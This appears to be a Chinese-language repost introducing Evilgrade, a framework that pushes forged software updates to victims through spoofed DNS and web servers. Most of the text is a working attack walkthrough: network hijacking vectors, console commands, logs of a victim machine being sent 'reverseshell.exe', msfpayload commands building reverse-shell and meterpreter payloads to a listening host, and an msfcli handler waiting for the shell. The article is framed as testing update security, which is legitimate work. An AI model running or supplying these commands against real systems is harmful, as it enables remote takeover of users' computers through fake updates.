掃二維碼與項目經(jīng)理溝通
我們在微信上24小時期待你的聲音
解答本文疑問/技術(shù)咨詢/運營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流
Evilgrade是一款功能強大的模塊化框架,該框架允許廣大研究人員通過向目標(biāo)應(yīng)用程序注入偽造的更新代碼,并利用存在安全問題的更新實現(xiàn)機制來測試目標(biāo)升級更新功能的安全性。該工具提供了預(yù)構(gòu)建的代理以及支持快速測試的默認(rèn)工作配置。除此之外,該工具還擁有自己的WebServer和DNSServer模塊。

1、內(nèi)部DNS訪問;
2、ARP欺騙;
3、DNS緩存投毒;
4、DHCP欺騙;
5、TCP劫持;
6、Wi-Fi訪問點偽造;
1、內(nèi)部DNS訪問;
2、DNS緩存投毒;
廣大研究人員可以使用下列命令將該項目源碼克隆至本地:
git clone https://github.com/infobyte/evilgrade.git
下面給出的是工具的幫助信息:
evilgrade>help
Type 'help command' for more detailed help on a command.
Commands:
configure - 配置模塊名稱
exit - 退出程序
help - 輸出工具幫助信息
reload - 重新加載并更新所有模塊
restart - 重啟Web服務(wù)器
set - 配置變量
show - 顯示對象信息
start - 開啟Web服務(wù)器
status - 獲取Web服務(wù)器窗臺
stop - 停止Web服務(wù)器
version - 顯示框架版本
Object:
options - 顯示當(dāng)前模塊的選項
vhosts - 顯示當(dāng)前模塊的VirtualHosts
modules - 列舉所有可用的模塊
active - 顯示活動模塊
列舉實現(xiàn)的模塊:
evilgrade>show modules
List of modules:
===============
...
...
...
- 63 modules available.
配置指定模塊:
evilgrade>conf sunjava
evilgrade(sunjava)>
開啟服務(wù)(DNS服務(wù)器和WebServer):
evilgrade>start
evilgrade>
[28/10/2010:21:35:55] - [WEBSERVER] - Webserver ready. Waiting for connections ...
evilgrade>
[28/10/2010:21:35:55] - [DNSSERVER] - DNS Server Ready. Waiting for Connections ...
#### Waiting for victims
evilgrade>
[25/7/2008:4:58:25] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/update/[.\\d]+/map\\-[.\\d]+.xml"
evilgrade>
[25/7/2008:4:58:26] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: "^/java_update.xml\$"
evilgrade>
[25/7/2008:4:58:39] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Request: ".exe"
evilgrade>
[25/7/2008:4:58:40] - [WEBSERVER] - [modules::sunjava] - [192.168.233.10] - Agent sent: "./agent/reverseshell.exe"
顯示狀態(tài)和日志:
evilgrade>show status
Webserver (pid 4134) already running
Users status:
============
.---------------------------------------------------------------------------------------------------------------.
| Client | Module | Status | Md5,Cmd,File |
+----------------+------------------+--------+------------------------------------------------------------------+
| 192.168.233.10 | modules::sunjava | send | d9a28baa883ecf51e41fc626e1d4eed5,'',"./agent/reverseshell.exe" |
'----------------+------------------+--------+------------------------------------------------------------------'
evilgrade(sunjava)>set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.233.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]'
在這種情況下,對于每個所需的更新二進制文件,我們都可以使用 "windows/shell_reverse_tcp"這個Payload來生成偽造的更新代碼,同時使用一個反向Shell連接到192.168.233.2:4141。<%OUT%><%OUT>標(biāo)簽專門來檢測輸出二進制文件的生成位置。
比如說,如果我們運行下列命令:
evilgrade(sunjava)>set agent '["./generatebin -o <%OUT%>/tmp/update".int(rand(256)).".exe<%OUT%>"]'
那么每當(dāng)我們收到一個二進制請求時,Evilgrade將編譯該行并執(zhí)行最終字符串"./generatebin -o /tmp/update(random).exe",然后生成不同的代理。
在Evilgrade外運行:
[team@faraday]$ msfpayload windows/meterpreter/reverse_ord_tcp LHOST=192.168.100.2 LPORT=4444 X > /tmp/reverse-shell.exe
在Evilgrade內(nèi)運行:
evilgrade(sunjava)>set agent /tmp/reverse-shell.exe
生成好Payload之后,我們將得到多個處理器Handler來監(jiān)聽之前分配的LHOST:
[team@faraday]$ msfcli exploit/multi/handler PAYLOAD=windows/shell/reverse_tcp LHOST=192.168.100.2 LPORT=4444 E
[*] Started reverse handler on 192.168.100.2:4444
[*] Starting the payload handler...
Evilgrade:【GitHub傳送門】
http://www.faradaysec.com/

我們在微信上24小時期待你的聲音
解答本文疑問/技術(shù)咨詢/運營咨詢/技術(shù)建議/互聯(lián)網(wǎng)交流